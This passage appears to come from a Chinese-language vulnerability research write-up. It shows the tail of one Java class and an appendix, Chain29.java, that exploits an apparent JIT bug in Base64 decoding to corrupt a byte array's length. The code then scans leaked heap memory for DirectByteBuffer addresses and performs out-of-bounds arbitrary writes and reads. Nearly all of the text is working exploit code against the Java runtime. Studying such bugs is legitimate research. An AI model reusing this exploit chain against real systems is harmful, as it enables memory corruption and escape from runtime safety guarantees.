        fos.write(0xA0);
        victim[64]=(byte)v64; victim[65]=(byte)(v64>>>8); victim[66]=(byte)(v64>>>16); victim[67]=(byte)(v64>>>24);
        victim[68]=(byte)(v64>>>32); victim[69]=(byte)(v64>>>40); victim[70]=(byte)(v64>>>48); victim[71]=(byte)(v64>>>56);
        fos.write(0xA1);
        long v128 = 0; for (int j = 7; j >= 0; j--) v128 = (v128 << 8) | (victim[128 + j] & 0xFF);
        fos.write(0xB0);
        victim[128]=(byte)v128; victim[129]=(byte)(v128>>>8); victim[130]=(byte)(v128>>>16); victim[131]=(byte)(v128>>>24);
        victim[132]=(byte)(v128>>>32); victim[133]=(byte)(v128>>>40); victim[134]=(byte)(v128>>>48); victim[135]=(byte)(v128>>>56);
        fos.write(0xB1);
        long v1024 = 0; for (int j = 7; j >= 0; j--) v1024 = (v1024 << 8) | (victim[1024 + j] & 0xFF);
        fos.write(0xC0);
        victim[1024]=(byte)v1024; victim[1025]=(byte)(v1024>>>8); victim[1026]=(byte)(v1024>>>16); victim[1027]=(byte)(v1024>>>24);
        victim[1028]=(byte)(v1024>>>32); victim[1029]=(byte)(v1024>>>40); victim[1030]=(byte)(v1024>>>48); victim[1031]=(byte)(v1024>>>56);
        fos.write(0xC1);
        victim[1088]=1; victim[1089]=0; victim[1090]=0; victim[1091]=0;
        victim[1092]=0; victim[1093]=0; victim[1094]=0; victim[1095]=0;
        fos.write(0xD0);
        fos.flush(); fos.close();
    }
    static long rd64(byte[] v, int o) { long r = 0; for (int j = 7; j >= 0; j--) r = (r << 8) | (v[o + j] & 0xFF); return r; }
    static boolean sane(long v) { return (v >>> 47) == 0 && (v >>> 32) >= 0x100 && (v & 0xF) == 0; }
    static int r32(byte[] v, int o) { return (v[o]&0xFF) | ((v[o+1]&0xFF)<<8) | ((v[o+2]&0xFF)<<16) | ((v[o+3]&0xFF)<<24); }
}

附录 E:Chain29.java(预热写方法正例——预热后写入成功)

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.nio.ByteBuffer;
import java.util.Base64;

/** 与 Chain28 唯一区别:main 开头预热 w8(20 万次),之后写 victim 走 C1 编译产物 */
public class Chain29 {
    static byte[] hotDummy = new byte[4096];
    static void w8(byte[] a, int o, long x) {
        a[o]=(byte)x; a[o+1]=(byte)(x>>>8); a[o+2]=(byte)(x>>>16); a[o+3]=(byte)(x>>>24);
        a[o+4]=(byte)(x>>>32); a[o+5]=(byte)(x>>>40); a[o+6]=(byte)(x>>>48); a[o+7]=(byte)(x>>>56);
    }

    public static void main(String[] args) throws Exception {
        FileOutputStream fos = new FileOutputStream("/tmp/b64_stage.bin");
        // 预热预热写方法(这是与 Chain28 的唯一区别)
        for (int i = 0; i < 200_000; i++) w8(hotDummy, 64, i);
        byte[] warmSrc = "Zz9+Zz9+".getBytes();
        byte[] src = ("A".repeat(64) + "=").getBytes();
        long[] magic = {0x4142434445460000L, 0x4142434445460001L, 0x4142434445460002L, 0x4142434445460003L};

        int roundHit = -1;
        byte[] victim = null;
        ByteBuffer[] dbbs = null;
        int addrOff = -1, elemOff = -1;
        long a0 = 0, a1 = 0;

        outer:
        for (int round = 0; round < 40; round++) {
            byte[] warmDst = new byte[72];
            for (int i = 0; i < 60_000; i++) Base64.getDecoder().decode(warmSrc, warmDst);
            byte[] dst = new byte[72];
            victim = new byte[16];
            dbbs = new ByteBuffer[4];
            for (int i = 0; i < 4; i++) { dbbs[i] = ByteBuffer.allocateDirect(65536); dbbs[i].putLong(0, magic[i]); }
            byte[] tail = "TAILMARKERTAILMARKER".getBytes();
            try { Base64.getDecoder().decode(src, dst); } catch (IllegalArgumentException e) {}
            if (victim.length <= 1000) continue;
            fos.write(1);
            for (int o = 16; o < 1200 && addrOff < 0; o += 4) {
                long v = rd64(victim, o);
                if (!sane(v)) continue;
                if (rd64(victim, o + 64) != v) continue;
                long v2 = rd64(victim, o + 136);
                if (!sane(v2) || v2 <= v) continue;
                if (rd64(victim, o + 136 + 64) != v2) continue;
                addrOff = o; a0 = v; a1 = v2;
            }
            if (addrOff < 0) continue;
            for (int o = 16; o < 3000; o += 4) {
                int e0 = r32(victim, o);
                if (e0 != 0 && r32(victim, o+4) - e0 == 136 && r32(victim, o+8) - r32(victim, o+4) == 136
                    && r32(victim, o+12) - r32(victim, o+8) == 136) { elemOff = o; break; }
            }
            if (elemOff < 0) { addrOff = -1; continue; }
            roundHit = round; break outer;
        }
        if (roundHit < 0) { fos.write(0x4E); fos.flush(); fos.close(); return; }
        fos.write(2);
        // 经预热的 C1 编译方法写
        long v64 = 0; for (int j = 7; j >= 0; j--) v64 = (v64 << 8) | (victim[64 + j] & 0xFF);
        w8(victim, 64, v64);            // identity 写 @64 —— Chain28 在这里崩
        fos.write(0xA1);
        w8(victim, 1024, 0x2131415161718191L);
        fos.write(0xA2);
        long rb = 0; for (int j = 7; j >= 0; j--) rb = (rb << 8) | (victim[1024 + j] & 0xFF);
        dump8(fos, rb);
        fos.flush(); fos.close();
    }
    static long rd64(byte[] v, int o) { long r = 0; for (int j = 7; j >= 0; j--) r = (r << 8) | (v[o + j] & 0xFF); return r; }
    static boolean sane(long v) { return (v >>> 47) == 0 && (v >>> 32) >= 0x100 && (v & 0xF) == 0; }
    static int r32(byte[] v, int o) { return (v[o]&0xFF) | ((v[o+1]&0xFF)<<8) | ((v[o+2]&0xFF)<<16) | ((v[o+3]&0xFF)<<24); }
    static void dump8(FileOutputStream f, long v) throws Exception {
        byte[] b = new byte[8];
        for (int i = 0; i < 8; i++) { b[i] = (byte) v; v >>>= 8; }
        f.write(b);
    }
}